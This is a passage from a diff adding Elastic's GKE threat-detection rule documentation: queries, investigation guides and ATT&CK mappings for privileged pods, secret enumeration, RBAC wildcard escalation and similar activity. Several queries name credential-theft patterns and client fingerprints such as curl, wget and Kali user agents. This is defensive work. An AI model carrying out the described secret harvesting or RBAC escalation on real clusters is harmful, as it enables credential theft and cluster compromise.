StatefulSet controllers are excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging +* https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Privileged Pod Created* + + +Review `user.email`, `orchestrator.resource.name`, `orchestrator.namespace`, and the pod spec in `gcp.audit.request`. +Confirm whether allowPrivilegeEscalation is required for the workload. + + +*Investigation steps* + + +- Identify the actor and source (`user.email`, `source.ip`, `user_agent.original`). +- Inspect container images and securityContext in the audit request payload. +- Correlate with RBAC changes, secret access, or exec activity from the same identity. + + +*False positives* + + +- One-off admin debugging pods; tune by user or namespace when documented. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:"io.k8s.core.v1.pods.create" and event.outcome:success and +gcp.audit.request.spec.containers.securityContext.allowPrivilegeEscalation:true and +not gcp.audit.request.metadata.ownerReferences.kind:("ReplicaSet" or "DaemonSet" or "StatefulSet") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-rapid-secret-get-activity-against-multiple-objects.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-rapid-secret-get-activity-against-multiple-objects.asciidoc new file mode 100644 index 0000000000..c989fb82cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-rapid-secret-get-activity-against-multiple-objects.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-gke-rapid-secret-get-activity-against-multiple-objects]] +=== GKE Rapid Secret GET Activity Against Multiple Objects + +Detects an unusual volume of GKE API get requests against multiple distinct Secret objects from the same client fingerprint (user, source IP, and user agent) within the rule lookback window. This can indicate credential access or in-cluster reconnaissance, where a user or token is used to enumerate and retrieve sensitive data such as service account tokens, registry credentials, TLS material, or application configuration. Failed get requests are included and can signal RBAC probing; system service accounts are excluded only when secret reads succeed, since failed secret access by a service account may indicate compromise or misconfiguration worth investigating. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: ES|QL +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Rapid Secret GET Activity Against Multiple Objects* + + +This rule surfaces clusters of `get` operations on secrets where the same identity and client path +(`client.user.email`, `source.ip`, `user_agent.original`) touch several different secret resource paths within the +lookback window. Allowed and denied outcomes are included: successful reads may indicate harvesting; repeated +failure responses can still signal reconnaissance or RBAC probing. System service accounts and core controllers are +excluded only for successful secret reads, failed attempts from those identities still alert. + + +*Investigation steps* + + +- Inspect `Esql.event_outcome_values` for a mix of success vs failure and whether failures cluster on sensitive namespaces. +- Map the identity to RBAC and namespace scope; review `Esql.gcp_audit_resource_name_values` for high-value targets (tokens, registry + credentials, TLS bundles, application secrets). +- Pivot on the same `source.ip` and user for follow-on API activity (exec, pod create, role changes, broad `list` on secrets). +- Validate against expected automation (CI, GitOps, backup, in-cluster controllers) before treating as malicious. + + +*False positives* + + +- Controllers and Helm may legitimately read many secrets in one window; tune exclusions after baselining known automation. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _index, _version +| where data_stream.dataset == "gcp.audit" + and service.name == "k8s.io" + and event.action == "io.k8s.core.v1.secrets.get" + and source.ip is not null + and client.user.email is not null + and not to_string(source.ip) in ("127.0.0.1", "::1") + and not ( + (client.user.email in ("system:kube-controller-manager", "system:kube-scheduler") or client.user.email like "system:serviceaccount:*") + and event.outcome == "success" + ) + and not gcp.audit.resource_name like "*sh.helm.release.*" +| stats + Esql.gcp_audit_resource_name_count_distinct = count_distinct(gcp.audit.resource_name), + Esql.gcp_audit_resource_name_values = values(gcp.audit.resource_name), + Esql.event_outcome_values = values(event.outcome), + Esql.timestamp_values = values(@timestamp) + by client.user.email, source.ip, user_agent.original +| where Esql.gcp_audit_resource_name_count_distinct >= 3 +| keep client.user.email, source.ip, user_agent.original, Esql.gcp_audit_resource_name_count_distinct, Esql.gcp_audit_resource_name_values, Esql.event_outcome_values, Esql.timestamp_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-rbac-wildcard-elevation-on-existing-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-rbac-wildcard-elevation-on-existing-role.asciidoc new file mode 100644 index 0000000000..077b91976b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-rbac-wildcard-elevation-on-existing-role.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-gke-rbac-wildcard-elevation-on-existing-role]] +=== GKE RBAC Wildcard Elevation on Existing Role + +Flags an existing GKE Role or ClusterRole being changed (patch or update) so the effective rules become cluster-admin-like: wildcard on every API resource and wildcard on every verb. That is usually a deliberate privilege expansion, not a typo. GKE audit logs with response body capture are required so the detection reads the merged role after apply; loopback source IPs are ignored. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE RBAC Wildcard Elevation on Existing Role* + + +Someone patched or updated a Role or ClusterRole so the stored rules grant star verbs and star resources—near +cluster-admin breadth on that scope. Confirm the actor (user.email, groups), client, and non-loopback source IP; +then see who can bind that role. + + +*Possible investigation steps* + + +- Diff the role YAML before and after; list RoleBindings and ClusterRoleBindings that reference it and which subjects + gained the widened access. +- Review `gcp.audit.resource_name`, `gcp.audit.response.rules.verbs`, and `gcp.audit.response.rules.resources`. +- In the same window, check secret reads, exec, and further RBAC changes from the same identity. + + +*False positive analysis* + + +- Approved GitOps or vendor upgrades sometimes widen a known ClusterRole; allowlist stable automation when documented. + + +*Response and remediation* + + +- Revert the role, drop unexpected bindings, rotate credentials for the actor, and block future wildcard RBAC outside + governed pipelines (policy-as-code, PR-only RBAC). + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.authorization.rbac.v1.roles.update" or + "io.k8s.authorization.rbac.v1.roles.patch" or + "io.k8s.authorization.rbac.v1.clusterroles.update" or + "io.k8s.authorization.rbac.v1.clusterroles.patch" +) and source.ip:(* and not ("127.0.0.1" or "::1")) and not ( + client.user.email:"system:addon-manager" and + event.action:( + "io.k8s.authorization.rbac.v1.roles.patch" or + "io.k8s.authorization.rbac.v1.clusterroles.patch" + ) +) and +gcp.audit.response.rules.verbs:"*" and gcp.audit.response.rules.resources:"*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secret-access-from-node-or-denied-service-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secret-access-from-node-or-denied-service-account.asciidoc new file mode 100644 index 0000000000..0d849c2a26 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secret-access-from-node-or-denied-service-account.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-gke-secret-access-from-node-or-denied-service-account]] +=== GKE Secret Access from Node or Denied Service Account + +Detects GKE Secrets API activity that should not occur in normal cluster operation: a node identity (system:node:*) performing secrets get or list, or a pod service account failing a secrets get. Kubelet and node credentials are not expected to call the Secrets API for enumeration or direct reads, and a denied service-account secret get could indicate stolen-token probing or over-privileged tooling reaching beyond its RBAC. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authentication/#service-account-tokens + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Secret Access from Node or Denied Service Account* + + +This rule fires on two high-confidence patterns in GKE audit logs: + +- `system:node:*` successfully or unsuccessfully calling `secrets.get` or `secrets.list` +- `system:serviceaccount:*` receiving `event.outcome:failure` on `secrets.get` + +Treat node-originated Secrets API calls as priority. For denied service-account gets, determine whether +the identity is probing secrets outside its Role/ClusterRole or using an unexpected client from a +compromised token. + + +*Possible investigation steps* + + +- Resolve `client.user.email` to the node or workload and review RBAC bindings for secret `get`/`list` scope. +- Inspect `gcp.audit.resource_name`, `source.ip`, and `user_agent.original` for anomalous clients or + cross-namespace targets. +- Correlate with successful secret reads, pod exec, token creation, or RoleBinding changes in the same window. +- For node events, confirm whether kubelet, CSI, or maintenance tooling on that node should ever call the + Secrets API. + + +*False positive analysis* + + +- Node diagnostics or custom CSI helpers may rarely issue Secrets API calls; allowlist only after confirming + the path is approved. +- Broken RBAC on a newly deployed workload can produce repeated denied gets until permissions are fixed. + + +*Response and remediation* + + +- If malicious, revoke the node or service-account credentials, isolate the host or workload, rotate exposed + secrets, and tighten RBAC to least privilege for the affected identity. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and +source.ip:(* and not (127.0.0.1 or "::1")) and +( + ( + client.user.email:system\:node\:* and + event.action:(io.k8s.core.v1.secrets.get or io.k8s.core.v1.secrets.list) + ) or ( + client.user.email:system\:serviceaccount\:* and + event.action:io.k8s.core.v1.secrets.get and + event.outcome:failure + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secret-access-via-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secret-access-via-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..741f0ceb72 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secret-access-via-unusual-user-agent.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-gke-secret-access-via-unusual-user-agent]] +=== GKE Secret Access via Unusual User Agent + +Detects GKE secrets get or list requests from a previously unseen combination of source IP, identity, and user agent, excluding the default Kubernetes client placeholder. Attackers who compromise a pod or steal a kubeconfig often use curl, custom scripts, or atypical clients from a new host to read service-account tokens, registry credentials, or application secrets. Anonymous identities are excluded; use dedicated anonymous-access rules for unauthenticated probing. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: New Terms +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Secret Access via Unusual User Agent* + + +This new-terms rule alerts on secrets `get`/`list` when the (`source.ip`, `client.user.email`, `user_agent.original`) +triple is new in the history window. + + +*Possible investigation steps* + + +- Review `client.user.email`, `source.ip`, `user_agent.original`, and `gcp.audit.resource_name` for the secret and + namespace accessed. +- Determine whether the client fingerprint matches an approved admin path, CI runner, or controller upgrade. +- Pivot on the same identity or IP for secret bursts, pod exec, token creation, or RBAC changes. + + +*False positive analysis* + + +- New admin workstations, VPN egress IPs, or SDK version bumps can first-seen alert; tune after confirming ownership. +- First enablement surfaces legitimate clients until the history window fills. + + +*Response and remediation* + + +- If malicious, revoke the credential, rotate exposed secrets, isolate the source host or workload, and tighten who + can read secrets. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and +event.action:("io.k8s.core.v1.secrets.get" or "io.k8s.core.v1.secrets.list") and +user_agent.original:(* and not (*kubernetes/$Format* or kube-probe* or gke-exec-auth-plugin*)) and +source.ip:(* and not (127.0.0.1 or "::1")) and +client.user.email:(* and not ( + "system:anonymous" or "system:unauthenticated" or "system:addon-manager" or + "system:serviceaccount:kube-system:namespace-controller" +)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secret-get-or-list-with-suspicious-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secret-get-or-list-with-suspicious-user-agent.asciidoc new file mode 100644 index 0000000000..35c3416543 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secret-get-or-list-with-suspicious-user-agent.asciidoc @@ -0,0 +1,109 @@ +[[prebuilt-rule-8-19-34-gke-secret-get-or-list-with-suspicious-user-agent]] +=== GKE Secret get or list with Suspicious User Agent + +Detects successful GKE secret get or list operations where the user agent matches scripting runtimes, minimal HTTP clients, or offensive-distribution fingerprints rather than typical kubectl or controller traffic. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Secret get or list with Suspicious User Agent* + + +Review `user.email`, `user_agent.original`, targeted secret resource, and `source.ip`. + + +*Investigation steps* + + +- Confirm whether the identity should access secrets with this client fingerprint. +- Pivot on source IP for other API bursts, exec, or RBAC changes. + + +*False positives* + + +- Internal automation using generic libraries; exclude stable service accounts after review. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:("io.k8s.core.v1.secrets.list" or "io.k8s.core.v1.secrets.get") and user_agent.original:( + curl* or python* or Python* or wget* or Go-http* or perl* or java* or node* or php* or *distrib#kali* or *kali-amd64* or + *kali-arm64* or Bun* or axios* or undici* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secrets-list-from-unusual-source-as-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secrets-list-from-unusual-source-as-organization.asciidoc new file mode 100644 index 0000000000..396434864f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-secrets-list-from-unusual-source-as-organization.asciidoc @@ -0,0 +1,114 @@ +[[prebuilt-rule-8-19-34-gke-secrets-list-from-unusual-source-as-organization]] +=== GKE Secrets List from Unusual Source AS Organization + +Detects the first time a human GKE caller lists secrets cluster-wide or in default or kube-system from a source autonomous system that is not attributed to common cloud provider organizations. This can indicate remote secret enumeration using stolen credentials from an unusual network. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: New Terms +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Secrets List from Unusual Source AS Organization* + + +New-terms rule on `user.email` and `source.as.number` for cluster-wide or sensitive namespace secret list operations. + + +*Investigation steps* + + +- Confirm `gcp.audit.resource_name` and whether listing was authorized. +- Review `source.ip`, `source.as.organization.name`, and follow-on secret get or exec activity. + + +*False positives* + + +- First-time legitimate admin access from a new office or VPN provider. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.action:io.k8s.core.v1.secrets.list and gcp.audit.resource_name:(core/v1/namespaces/default/secrets or core/v1/namespaces/kube-system/secrets or core/v1/secrets) and user.email:*@* and source.as.organization.name:(* and not ("Google LLC" or "Microsoft Corporation")) and source.as.number:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-sensitive-rbac-change-followed-by-workload-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-sensitive-rbac-change-followed-by-workload-modification.asciidoc new file mode 100644 index 0000000000..0240c05f66 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-sensitive-rbac-change-followed-by-workload-modification.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-34-gke-sensitive-rbac-change-followed-by-workload-modification]] +=== GKE Sensitive RBAC Change Followed by Workload Modification + +Detects when the same GKE identity creates or modifies a Role or ClusterRole with high-risk permissions (wildcard access, RBAC escalation verbs, or access to secrets / privileged APIs) and also creates or patches a DaemonSet, Deployment, or CronJob within five minutes. This correlation is consistent with RBAC-based privilege escalation followed by payload deployment. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Domain: Containers +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: GCP Audit Logs +* Platform: GCP +* Platform: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Rule Type: ES|QL +* Noise: Medium +* Performance: Fast + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Sensitive RBAC Change Followed by Workload Modification* + + +This ES|QL rule correlates two successful GKE audit behaviors from the same `client.user.email` within five +minutes: + +1. Role or ClusterRole create/update/patch that grants high-risk permissions (wildcards, `escalate` / + `bind` / `impersonate`, secret read, or privileged API resources such as `pods/exec` and + `serviceaccounts/token`) +2. DaemonSet, Deployment, or CronJob create or patch after the sensitive RBAC change + +`Esql.rbac_to_workload_minutes` is the gap from the latest sensitive RBAC event to the earliest workload +modification in the lookback window. + + +*Possible investigation steps* + + +- Review `Esql.event_action_values` and `Esql.gcp_audit_resource_name_values` for the Role/ClusterRole and + workload objects touched. +- Inspect `Esql.user_agent_original_values` and `Esql.source_ip_values` for unexpected clients or networks. +- Check for RoleBinding or ClusterRoleBinding activity around the same identity and time window. +- Correlate with secret access, pod exec, or token creation from the same actor. + + +*False positive analysis* + + +- GitOps pipelines that manage both RBAC manifests and workloads in one sync cycle. +- Platform bootstrap that patches built-in roles and reconciles addon workloads. + + +*Response and remediation* + + +- Roll back unauthorized Role/ClusterRole and workload changes, revoke the actor's credentials, and + tighten who can mutate RBAC and sensitive workloads. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. Request body capture on RBAC +resources is required so Role and ClusterRole rule verbs and resources are present in +`gcp.audit.request`. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _index, _version +| where data_stream.dataset == "gcp.audit" + and service.name == "k8s.io" + and event.outcome == "success" + and client.user.email is not null + and source.ip is not null + and not to_string(source.ip) in ("127.0.0.1", "::1") + and not client.user.email in ( + "system:addon-manager", + "system:apiserver", + "system:kube-controller-manager", + "system:serviceaccount:flux-system:kustomize-controller", + "system:serviceaccount:flux-system:helm-controller", + "system:serviceaccount:flux-system:source-controller", + "system:serviceaccount:flux-system:flux-operator", + "system:serviceaccount:flux-operator:flux-operator" + ) + and ( + ( + event.action in ( + "io.k8s.authorization.rbac.v1.roles.create", + "io.k8s.authorization.rbac.v1.roles.update", + "io.k8s.authorization.rbac.v1.roles.patch", + "io.k8s.authorization.rbac.v1.clusterroles.create", + "io.k8s.authorization.rbac.v1.clusterroles.update", + "io.k8s.authorization.rbac.v1.clusterroles.patch" + ) + and not ( + client.user.email == "system:serviceaccount:kube-system:clusterrole-aggregation-controller" + and event.action == "io.k8s.authorization.rbac.v1.clusterroles.patch" + ) + and ( + KQL("""gcp.audit.request.rules.verbs:("*" or "escalate" or "bind" or "impersonate")""") + or KQL("""gcp.audit.request.rules.verbs:("*" or "create" or "patch" or "update") and gcp.audit.request.rules.resources:("*" or "clusterroles" or "clusterrolebindings" or "roles" or "rolebindings" or "pods/exec" or "serviceaccounts/token" or "nodes/proxy" or "daemonsets")""") + or KQL("""gcp.audit.request.rules.verbs:("*" or "get" or "list") and gcp.audit.request.rules.resources:("*" or "secrets")""") + ) + ) + or event.action in ( + "io.k8s.apps.v1.daemonsets.create", + "io.k8s.apps.v1.daemonsets.patch", + "io.k8s.apps.v1.deployments.create", + "io.k8s.apps.v1.deployments.patch", + "io.k8s.batch.v1.cronjobs.create", + "io.k8s.batch.v1.cronjobs.patch" + ) + ) +| eval Esql.is_sensitive_rbac = case(event.action like "io.k8s.authorization.rbac.*", 1, 0), + Esql.is_workload_modification = case(event.action like "io.k8s.apps.*" or event.action like "io.k8s.batch.*", 1, 0), + Esql.sensitive_rbac_timestamp = case(event.action like "io.k8s.authorization.rbac.*", @timestamp, null), + Esql.workload_modification_timestamp = case(event.action like "io.k8s.apps.*" or event.action like "io.k8s.batch.*", @timestamp, null) +| stats + Esql.sensitive_rbac_count = sum(Esql.is_sensitive_rbac), + Esql.workload_modification_count = sum(Esql.is_workload_modification), + Esql.latest_sensitive_rbac_timestamp = max(Esql.sensitive_rbac_timestamp), + Esql.earliest_workload_modification_timestamp = min(Esql.workload_modification_timestamp), + Esql.event_action_values = values(event.action), + Esql.gcp_audit_resource_name_values = values(gcp.audit.resource_name), + Esql.user_agent_original_values = values(user_agent.original), + Esql.source_ip_values = values(source.ip) + by client.user.email +| where Esql.sensitive_rbac_count > 0 + and Esql.workload_modification_count > 0 + and Esql.latest_sensitive_rbac_timestamp <= Esql.earliest_workload_modification_timestamp +| eval Esql.rbac_to_workload_minutes = date_diff( + "minute", + Esql.latest_sensitive_rbac_timestamp, + Esql.earliest_workload_modification_timestamp + ) +| where Esql.rbac_to_workload_minutes <= 5 +| keep + client.user.email, + Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account 